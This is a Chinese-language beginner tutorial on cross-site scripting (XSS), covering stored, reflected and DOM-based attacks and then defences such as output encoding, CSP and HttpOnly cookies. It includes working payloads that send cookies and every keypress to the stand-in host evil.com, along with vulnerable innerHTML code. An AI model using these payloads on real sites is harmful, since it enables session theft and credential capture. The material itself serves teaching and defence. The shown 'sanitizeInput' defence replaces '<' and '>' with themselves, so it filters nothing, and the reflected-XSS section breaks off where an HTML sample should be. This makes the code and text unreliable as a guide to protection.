跨站指令碼攻擊(XSS)入門指南:從原理到防禦的全解析
更新日期: 2025 年 2 月 3 日
本文為 資安入門 系列文,第 8 篇
- OWASP Top 10:最新的 Web 安全風險與防範措施(2021 版)
- MD5 加密演算法是什麼?
- SHA-1 是什麼?為什麼不再安全?
- 深入解析 Session:從概念到運作方式
- 什麼是 Session Fixation(會話固定攻擊)?
- HTTP 與 HTTPS 的差別:新手完整指南
- 跨站請求偽造(CSRF)入門指南:攻擊原理、實例與防禦方法
- 跨站指令碼攻擊(XSS)入門指南:從原理到防禦的全解析 👈所在位置
- SQL 注入攻擊全解析:從入門到防禦實戰指南
- 新手指南:深入了解 Content-Security-Policy (CSP) 與網站安全
- 從零理解 Same-Origin Policy:瀏覽器安全的第一道防線
- 跨來源資源共享(CORS)完整指南:打破瀏覽器的安全邊界
想像一下:你點開一個看似正常的網頁連結,下一秒卻發現自己的社群帳號被盜、銀行頁面被篡改,甚至電腦成了駭客的挖礦工具——這就是 跨站指令碼攻擊(XSS) 的恐怖之處。
作為最常見的網站安全漏洞之一,XSS 在 OWASP 十大資安風險中常年上榜。
無論你是網站開發者、初學工程師,還是單純想保護自己的網路使用者,理解 XSS 的原理與防禦方法都至關重要。
本文將以 零基礎視角 拆解 XSS 的運作機制,並透過實際案例與防禦策略,帶你建立完整的安全觀念。
什麼是跨站指令碼攻擊(XSS)?
XSS(Cross-Site Scripting) 是攻擊者將惡意程式碼(如 JavaScript)注入網頁,當其他用戶瀏覽該頁面時,惡意腳本會在受害者瀏覽器中自動執行的一種攻擊手法。
以生活情境假設,你走進一家餐廳(正常網站),但攻擊者偷偷在食物中下毒(注入惡意程式碼)。
當你吃下食物(載入網頁),毒素(惡意腳本)便開始破壞你的身體(竊取資料或操控瀏覽器)。
XSS 的三大危害
- 竊取敏感資訊:盜取 Cookie、Session ID、帳號密碼。
- 操控網頁內容:篡改頁面顯示、插入釣魚表單。
- 進階攻擊跳板:結合其他漏洞發動 DDoS、勒索軟體攻擊。
XSS 攻擊的三大類型與運作原理
儲存型 XSS(Stored XSS)
攻擊流程
- 攻擊者將惡意腳本「永久儲存」在目標網站(如留言板、用戶資料欄位)。
- 其他用戶瀏覽該頁面時,惡意腳本從伺服器載入並自動執行。
實際案例:留言板的陷阱
<!-- 攻擊者在留言中嵌入惡意程式碼 -->
留言內容:
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
所有查看此留言的用戶,其 Cookie 都會被傳送到攻擊者的伺服器!
反射型 XSS(Reflected XSS)
在 反射型 XSS(Reflected XSS) 中,「反射」 指的是伺服器將攻擊者構造的惡意輸入(如帶有 JavaScript 的 URL 參數)直接回應 給用戶,而沒有進行適當的過濾或轉義。
攻擊流程
- 攻擊者構造惡意 URL
- 這個 URL 可能包含惡意的 JavaScript 代碼,例如:
https://example.com/search?q=<script>alert('XSS')</script>
- 用戶點擊 URL
- 通常是通過釣魚郵件、社交工程等手段誘導受害者點擊該鏈接。
- 伺服器「反射」惡意內容
- 如果網站的搜尋功能直接將
q
參數的值顯示在網頁上,並且沒有適當地過濾或編碼,則伺服器會返回類似這樣的 HTML: - 這樣,當用戶的瀏覽器解析這個頁面時,
<script>
代碼會執行,導致 XSS 攻擊。
- 如果網站的搜尋功能直接將
實際案例:偽造的搜尋連結
https://example.com/search?keyword=<script>alert('XSS');</script>
若網站未過濾輸入,點擊此連結會彈出警示視窗,實際攻擊可能更隱蔽。
DOM 型 XSS(DOM-based XSS)
攻擊流程
- 攻擊者利用前端 JavaScript 操作 DOM 的漏洞,直接修改網頁結構。
- 惡意腳本不經過伺服器,完全在客戶端執行。
實際案例:動態載入的網址參數
假設網頁使用以下程式碼:
// 從 URL 參數讀取內容並顯示
const username = new URL(location.href).searchParams.get('user');
document.getElementById('greeting').innerHTML = `Hello, ${username}!`;
攻擊者構造連結:
https://example.com/?user=<img src=x onerror="stealCookie()">
當用戶點擊時,onerror
事件觸發惡意函式!
這段網址之所以有效,是因為 DOM 型 XSS(DOM-based XSS) 的攻擊方式是 直接在瀏覽器端操作 DOM,而這段程式碼恰好存在 未經過濾的 DOM 操作漏洞。
詳細解析攻擊流程
- 攻擊者構造惡意 URL
user
參數被注入一段惡意 HTML 代碼:
https://example.com/?user=<img src=x onerror="stealCookie()">
- 其中
<img>
標籤是一個 HTML 元素,而onerror="stealCookie()"
是一個 事件監聽屬性,當圖片載入失敗時,stealCookie()
會執行。 - 網頁程式碼的問題
- 這段 JavaScript 直接將
user
參數的值 插入到 innerHTML,導致攻擊者提供的惡意 HTML 代碼會被當作真正的 DOM 內容解析和執行。
- 這段 JavaScript 直接將
const username = new URL(location.href).searchParams.get('user');
document.getElementById('greeting').innerHTML = `Hello, ${username}!`;
- 攻擊成功的關鍵
innerHTML
會將這段內容當作 HTML 解析,因此<img>
標籤會被加入到頁面中。src="x"
是一個不存在的圖片,因此瀏覽器會觸發onerror
事件,執行stealCookie()
,攻擊者就可以竊取用戶的 Cookie 或執行其他惡意行為。- 當用戶打開這個網址時,JavaScript 會從 URL 參數獲取
user
的值,並執行:
Hello, <img src=x onerror="stealCookie()">
XSS 攻擊的實際演練
情境模擬:竊取用戶 Cookie
- 攻擊者在論壇貼文中插入以下程式碼:
<script>
const img = new Image();
img.src = 'https://evil.com/log?cookie=' + document.cookie;
</script>
- 用戶瀏覽貼文時,腳本自動將 Cookie 傳送到
evil.com
。 - 攻擊者用竊取的 Cookie 偽裝成用戶登入!
進階攻擊:鍵盤側錄(Keylogger)
document.addEventListener('keypress', (e) => {
fetch('https://evil.com/log?key=' + e.key);
});
此腳本會將用戶的每次按鍵即時傳送到攻擊者伺服器,竊取帳號密碼。
如何防禦 XSS 攻擊?
輸入過濾:阻擋惡意內容進入
- 原則:將所有用戶輸入視為不可信,進行嚴格過濾。
- 實作方法:
// 移除 HTML 標籤與特殊字元
function sanitizeInput(input) {
return input.replace(/</g, '<').replace(/>/g, '>');
}
輸出編碼:安全渲染內容
- 原則:根據輸出位置(HTML、JavaScript、URL)選擇對應編碼方式。
- 實作範例:
<!-- 使用 HTML 實體編碼 -->
<div><%= encodeHTML(userInput) %></div>
啟用 CSP(內容安全政策)
- 原理:透過 HTTP Header 限制腳本來源,阻止未授權程式碼執行。
- 設定範例:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
此政策只允許來自本站和 trusted-cdn.com
的腳本執行。
其他關鍵防禦措施
方法 | 作用 |
---|---|
HttpOnly Cookie | 禁止 JavaScript 讀取 Cookie,防止竊取 Session ID。 |
使用現代框架 | React/Vue/Angular 等框架自動處理編碼,降低 XSS 風險。 |
定期安全測試 | 使用工具(如 OWASP ZAP、XSS Scanner)檢測漏洞。 |
總結:XSS 防禦的黃金守則
XSS 的核心問題在於「信任了不該信任的輸入」。
要打造安全的網站,請遵循以下原則:
- 永不信任用戶輸入:過濾、編碼、驗證三者缺一不可。
- 最小化攻擊面:禁用
innerHTML
、謹慎使用eval()
等危險函式。 - 多層次防護:結合 CSP、HttpOnly、框架安全機制形成防禦網。
資安是一場持續的攻防戰,唯有保持警惕與持續學習,才能讓你的網站遠離 XSS 威脅!